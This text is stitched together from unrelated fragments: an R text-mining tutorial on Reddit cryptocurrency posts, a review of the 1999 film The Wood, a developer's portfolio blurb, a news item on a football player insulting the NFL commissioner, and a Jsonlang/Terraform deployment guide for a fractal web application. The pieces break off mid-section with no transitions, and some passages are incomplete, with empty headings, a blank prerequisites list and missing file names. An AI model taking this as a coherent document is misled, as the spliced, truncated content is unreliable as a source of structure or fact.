2.1.1 Fix Names
Subreddits are identifiable among online communities in that they are often referenced according to the url suffix of the subreddit webpage (i.e. r/CryptoCurrency comes from reddit.com/r/CryptoCurrency). To retain this cultural identifier, we modify the names
srs <- unique(SubmData$subreddit)
SubmData <- SubmData %>%
mutate(
subreddit = case_when(
.$subreddit == srs[1] ~ "r/CryptoCurrency",
.$subreddit == srs[2] ~ "r/CryptoMarkets")
) %>%
ungroup()
srs <- unique(CommData$subreddit)
CommData <- CommData %>%
mutate(
subreddit = case_when(
.$subreddit == srs[1] ~ "r/CryptoCurrency",
.$subreddit == srs[2] ~ "r/CryptoMarkets")
) %>%
ungroup()

Submissions from each subreddit:
Comments in each subreddit:
2.2 Submissions
The analysis of langauge begins by quantifying the presence of words in each Subm, through the process of tokenization. Tokens are discrete strings of words or characters that can be isolated as n-grams; with n pertaining to the number of words in each token. Tokens are pulled from the body of text that is most informative for the purposes of analysis. For submissions, the informative text is the title of the submission, which contains information on topics; whereas, for comments, the informative text is the comment
itself.
2.2.1 Clean
To ensure that our data accurately represent activity within the communitas, we want to ensure that each observation is a unique instance of engagement. Reposts tend to be common on reddit, so using a distinct()
function on the text column will remove any duplicate posts. Additionally, any posts that are removed from the subreddits return an NA
value in user
column, thus we can remove deleted comments by filtering out all non user == NA
.
#Clean
Encoding(SubmData$text) <- "UTF-8"
Submissions <- SubmData %>%
group_by(user) %>%
filter(!is.na(user)) %>% # Take out deleted comments
ungroup() %>%
distinct(text, .keep_all = TRUE) #remove duplicate submissions
paste("Removed", nrow(SubmData) - nrow(Submissions),"submissions.")
## [1] "Removed 14 submissions."
data(stop_words)
SubmissionTkns <- Submissions %>%
group_by(subreddit) %>%
unnest_tokens(word, text) %>%
ungroup()
As part of the tokenization process for submissions, we remove stop words (e.g. “and”, “a”, “the”) because we are interested in using our tokens to identify prevalent topics of discussion and attitudes in the subreddits.

The Wood (1999) Reviewed by Eugene Novikov http://www.ultimate-movie.com Member: Online Film Critics Society
** out of four
"I'll give you a dollar if you grab her booty!"
Starring Omar Epps, Sean Nelson, Taye Diggs, Trent Cameron, Richard T Jones, Duane Finley. Rated R.
Films featuring adults reminiscing about times and friends they had when they were kids have the potential to be tremendously effective. When done right, they can be sad (Stand By Me had me in tears), funny, nostalgic and just plain terrific. But as is the case with every genre, there is no foolproof formula for making a good movie. With its constant ineptitude, The Wood demonstrates that for every winner there's a dud.
We are introduced to the people with whom we are about to spend two hours when they actually start talking to us. Omar Epps (The Mod Squad) kicks off the movie by speaking directly into the camera, introducing himself as "Big Mike". You see, Roland, one of Mike's best friends, is about to be married -- only he's nowhere to be found.  It's not long before the story goes into flashback, as the three buddies fondly recall their adolescent years in "The Wood" ("not what you think," says Mike, although what you may be thinking soon becomes a recurring motif; what is being referred to is the town of Inglewood, California, a suburb of LA).
The Wood tracks the girl-chasing adventures of the three teenagers. From a booty-grabbing contest that gets Mike into trouble with a nasty big brother to an American Pie-ish who-shall-get-nookie-first contest, this movie seems concerned solely with the boys' relationships with the fairer gender.
I wish this film had explored more than one aspect of the potentially interesting lives of these characters. A movie solely about "gettin' some" can be immensely entertaining when it is said film's sole focus, like in American Pie. Here, however, we get a movie that is supposedly the story of the friendships of these three people when they were young. Thus, it is disheartening to see it refuse to do anything interesting with that scenario. The extent of The Wood's versatility is the characters' choice of breath mints.
The first hour of this veritable sap-o-rama entertains, with some funny gags and affecting moments. But then The Wood falls apart. At nearly two hours its at least half an hour too long and it begins to repeat itself. The same jokes turn up more times than we find it fitting to laugh at them. Before we know it, what we've wound up with is yet another retread of the Horny Teenager Movie even though its first hour lead us to believe otherwise.
The characters are exclusively one-dimensional as are, for the most part the performances from the six leads. The standout, is Omar Epps as adult Mike, whose performance is sincere. Sean Nelson who plays young Mike has an annoying fish-out-of-water quality: the story calls for him to make us believe that his character has just moved from North Carolina to California and doesn't know anyone or anything there. He goes one better: he makes us think his character just moved from Venus.
The Wood is a movie with a one-track mind, which is unfortunate because had it tried to develop other aspects of its characters it may have been a fascinating character study. As it is, it's a mildly diverting, seldom entertaining piece of alleged nostalgia that doesn't seem very nostalgic at all. ©1999 Eugene Novikov

Hello, I love to solve real life problems by creating mobile applications, website or web app. I already
worked with few android development and web development projects and one of them called “PranoBandhu/BEUMAN” was
my favorite. Because that android based platform was created to help people for encouraging to help others. You
will know further in my page about this project. Also worked with few webpages and personal portfolio website.
My goal is not to make best applications or website but solving a problem in the best way possible by creating
application or websites. I learned that simple user interface with modern library help a user most. So my each
creation have the simplest interface but with the modern libraries possible.

NEWS, LOCAL AND INTERNATIONAL NEWS AND HOLIDAYS ETC. EVEN THIS APPLICATION
CONSIST WITH TOTALLY NEW AND SIMPLE SELF-MADE CALCULATOR. WHICH WAS NOT SOO GOOD BUT I WAS VERY HAPPY THEN
WITH THE RESULT.
 HOWEVER THIS SITE VERY
MUCH REFLECT MY DESIGN CHOICE WHICH IS VERY SIMPLE BUT MODERN.  IF YOU DON'T FEEL FREE
TO LET ME KNOW IN MY LINKEDIN, FACEBOOK.

Raiders’ Vontaze Burfict Rips NFL, Calls Roger Goodell A ‘Total B-tch’ For 12-Game Suspension
by Darrelle LincolnVontaze Burfict must want his career to be over, because calling out a commissioner is not a good way to get back into his good graces.
The Oakland Raiders linebacker was speaking to The Athletic’s Vic Tafur and he did not mince words when he referred to Roger Goodell as a “total b—h” when the two met in New York and the commissioner upheld his 12-game suspension for a helmet-to-helmet hit on Indianapolis Colts tight end Jack Doyle.
“He was a b—h,” Burfict said. “He didn’t let anybody speak; he rushed us in and out of the meeting. The meeting was bulls–t. He already had the suspension in his hand.”
Burfict said he showed a video of his clean plays and dirty plays made against him that weren’t flagged that he didn’t even retaliate for.
“They didn’t give a f–k about that s–t,” he said.


The rest of this article gives simple methodologies for deploying and managing the fractal application by editing the Jsonlang configuration and then applying these changes. In order to reproduce this case study there are a few pre-requisites:
Once those are satisfied, follow these steps:
To deploy the application, run make -j. This should start running 3 Packer builds in parallel. In a separate terminal, use tail -f *.log in order to watch their progress. When the images are built, Terraform will show you the proposed changes (a long list of resources to be created). Enter y to confirm the changes. In time, the application will be deployed. Now you only need the appserv ip address to connect to it. You can get this using "gcloud compute addresses list" or by navigating the Google Cloud Platform console to "networks". Opening that ip in a web browser should take you to the fractal application itself.
The application can be brought down again by running terraform destroy. Terraform remembers the resources it created via the terraform.tfstate file. This will not destroy the Packer images; they can be deleted from the console or from gcloud.
Managing a production web service usually means making continual changes to it instead of bringing the whole thing down and up again, as we will shortly discuss. However it is still useful to bring up a fresh application for testing / development purposes. A copy or variant of the production service can be brought up concurrently with the production service (e.g., in a different project). This can be useful for QA, automatic integration testing, or load testing. It is also useful for training new ops staff or rehearsing a complex production change in a safe environment.
Managing the Cassandra cluster requires a combination of configuration alteration (to control the fundamental compute resources) and use of the Cassandra command line tool "nodetool" on the instances themselves. For example "nodetool status fractal" on any Cassandra instance will give information about the whole cluster.
To add a new node (expand the cluster), simply edit , add another instance in the Terraform configuration and run make -j. Confirm the changes (the only change should be the new instance, e.g., db4). It will start up and soon become part of the cluster.
To remove a node, first decommission it using nodetool -h HOSTNAME decommission. When that is complete, destroy the actual instance by updating to remove the resource and run make -j again. Confirm the removal of the instance. It is OK to remove the first node, but its replacement should use GcpTopUpMixin instead of GcpStarterMixin. You can recycle all of the nodes if you do it one at a time, which is actually necessary for emergency kernel upgrades.
If a node is permanently and unexpectedly lost (e.g., a disk error), or you removed it without first decommissioning it, the cluster will remain in a state where it expects the dead node to return at some point (as if it were temporarily powered down or on the wrong side of a network split). This situation can be rectified with nodetool removenode UUID, run from any other node in the cluster. In this case it is probably also necessary to run nodetool repair on the other nodes to ensure data is properly distributed.
To introduce new functionality to the application server it is useful to divert a small proportion of user traffic to the new code to ensure it is working properly. After this initial "canary" test has passed, the remaining traffic can then be confidently transferred to the new code. The same can be said for the tile generation service (e.g. to update the C++ code).
The model used by this example is that the application server logic and static content are embedded in the application server image. Canarying consists of building a new image and then rolling it out gradually one instance at a time. Each step of this methodology consists of a small modification to and then running make -j.
google_compute_instance: {
["appserv" + k]: resource.FractalInstance(k) {
name: "appserv" + k,
image: "appserv-v20141222-0300",
...
}
for k in [1, 2, 3]
} + {
["appserv" + k]: resource.FractalInstance(k) {
name: "appserv" + k,
image: "appserv-v20150102-1200",
...
}
for k in [4]
} + ...
Also modify the appserv target pool to add the new instance 4, thus ensuring it receives
traffic.appserv: {
name: "appserv",
health_checks: ["${google_compute_http_health_check.fractal.name}"],
instances: [ "%s/appserv%d" % [zone(k), k] for k in [1, 2, 3, 4] ],
},
google_compute_instance: {
["appserv" + k]: resource.FractalInstance(k) {
name: "appserv" + k,
image: "appserv-v20141222-0300",
...
}
for k in []
} + {
["appserv" + k]: resource.FractalInstance(k) {
name: "appserv" + k,
image: "appserv-v20150102-1200",
...
}
for k in [4, 5, 6]
} + ...
We have shown how Jsonlang can be used to centralize, unify, and manage configuration for a realistic cloud application. We have demonstrated how programming language abstraction techniques make the configuration very concise, with re-usable elements separated into template libraries. Complexity is controlled in spite of the variety of different configurations, formats, and tasks involved.
Finally we demonstrated how with a little procedural glue to drive other processes (the humble UNIX make), we were able to build an operations methodology where many aspects of the service can be controlled centrally by editing a single Jsonlang file and issuing make -j update commands.
